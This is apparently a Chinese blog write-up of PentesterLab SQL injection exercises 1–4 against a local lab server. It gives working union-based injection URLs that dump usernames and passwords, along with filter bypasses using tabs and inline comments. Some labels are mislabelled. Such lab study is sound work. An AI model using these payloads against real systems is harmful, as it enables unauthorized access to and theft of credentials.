Pentester Lab闯关记录2(SQL Injections)

example1

验证漏洞是否存在

首先构造下面payload测试是否存在sql注入漏洞:

http://192.168.202.131/sqli/example1.php?name=root’ and 1=1 --+  payload为:’ and 1=1 --+
首先使用'闭合sql语句中的’,然后注入payload,使用--+注释掉后面的内容

发现正常返回内容

在这里插入图片描述
再构造以下payload测试:

http://192.168.202.131/sqli/example1.php?name=root’ and 1=2 --+  payload为:’ and 1=1 --+
首先使用'闭合sql语句中的’,然后注入payload,使用--+注释掉后面的内容

测试发现不能正常返回
在这里插入图片描述
这里证明存在sql注入漏洞,下面进行sql注入。

猜测查询返回的列数

构造以下payload,测试当前查询有多少列,方便构造后续的payload:

http://192.168.202.131/sqli/example1.php?name=root' order by 1 --+

可以发现正常返回内容:
在这里插入图片描述
继续增加值测试,直到不能正常返回内容,确定查询的列数:
测试发现payload为 ' order by 6 --+时,不能正常返回,由此可以确认查询的列数为5
在这里插入图片描述
根据上面的的判断构造以下payload:

http://192.168.202.131/sqli/example1.php?name=root' union select 1,2,3,4,5--+

发现能够正常返回内容:
在这里插入图片描述
说明上述判断正确,原因是union语句成功的前提是前后两个sql语句查询的列数必须相同,否则不能正常输出内容。
注:有教程说必须要修改参数为-1使union前面的sql语句报错,然后才能正常输出后面sql语句的内容,可能是因为靶场环境不同,本文中用到的靶场中不存在这一问题,如果确认构造的payload没有问题,但是union后面的sql语句无法输出内容,可以尝试构造以下payload使union前面的sql语句产生错误,只输出后面的sql语句的查询结果。

http://192.168.202.131/sqli/example1.php?name=-1' union select 1,2,3,4,5--+

收集数据库基本信息

继续构造以下payload收集数据库的基本信息

192.168.202.131/sqli/example1.php?name=-1' union select database(),version(),user(),4,5--+

返回以下内容:
在这里插入图片描述
根据上图可以看到返回了数据库的基本信息:

database:exercises	            # 当前数据库名
vesion:5.1.66-0+squeeze1	    # 当前数据库版本
user:pentesterlab@localhost     # 当前用户名

可以看到数据库版本为5.1.66,mysql 5.x以上版本的数据库为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中定义了表schemata_name(数据库名),tables(表名),columns(列名)。
schemata_name表中,schema_name字段用来存储数据库名
tables表中,table_schema和table_name分别用来数据库库名和表名
columns表中,table_schema,table_name,column_name分别用来存储数据库名,表名和字段名

爆破数据库

下面根据其中的columns表爆破出表名:
构造以下payload:

http://192.168.202.131/sqli/example1.php?name=-1' union select table_schema,table_name,column_name,4,5 from information_schema.columns --+

测试成功返回数据库信息,第一列是数据库名,第二列是对应的的表名,第三列是对应的列名

在这里插入图片描述
我们在这些信息中找到我们最感兴趣的内容
在这里插入图片描述
上图中我们发现了当前数据库中中存在一个user表,其中分别有name,age,groupid,passwd这些列,下面我们尝试构造以下payload对user表内容进行爆破:

http://192.168.202.131/sqli/example1.php?name=-1' union%20select id,name,age,groupid,passwd from users --+

爆破出以下内容:
在这里插入图片描述
稍微调整显示顺序可以看到用户名及对应的密码信息:
在这里插入图片描述

example2

验证漏洞是否存在

构造以下payload:

http://192.168.202.131/sqli/example2.php?name=root' and 1=1 --+

测试发现报出错误
在这里插入图片描述
错误信息:ERROR NO SPACE,发现是因为过滤了空格,因此使用url编码%20替换空格,继续构造以下payload:

http://192.168.202.131/sqli/example2.php?name=root%27%09and%091=1%09%23
%27:'
%09:水平制表符替换空格
%23:#注释后面的内容

爆破数据库

后面的注入流程和example1一致,只需要将空格替换为%09即可。
构造最终的payload,爆破数据库内容:

http://192.168.202.131/sqli/example2.php?name=root%27%09union%09select%09id,name,age,groupid,passwd%09from%09users%23

在这里插入图片描述

example3

验证漏洞是否存在

构造以下payload:

http://192.168.202.131/sqli/example3.php?name=root' and 1=1 --+
http://192.168.202.131/sqli/example3.php?name=root%27%09and%091=1%09%23

测试发现制表符也被过滤了,尝试用注释符绕过,构造以下payload:

http://192.168.202.131/sqli/example3.php?name=root%27/**/and/**/1=1%23

测试成功返回
在这里插入图片描述
修改payload:

http://192.168.202.131/sqli/example3.php?name=root%27/**/and/**/1=2%23

测试发现无法正常返回
在这里插入图片描述
证明存在sql注入漏洞

爆破数据库

注入过程依然和example类似,将空格换成/**/即可,我们直接构造最终的payload测试爆破是否能够成功:

http://192.168.202.131/sqli/example3.php?name=root%27/**/union/**/select/**/id,name,age,groupid,passwd/**/from/**/users%23

测试爆破成功
在这里插入图片描述

example3

验证漏洞是否存在

根据url结构可以发现这是一个数字型注入
构造以下payload:

http://192.168.202.131/sqli/example4.php?id=3%20and%201=1#

爆破数据库

注入过程依然和example类似,我们直接构造最终的payload测试爆破是否能够成功:

http://192.168.202.131/sqli/example4.php?id=3%20union%20select%20id,name,age,groupid,passwd%20from%20users#

测试爆破成功
在这里插入图片描述
剩下的后续继续更新

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值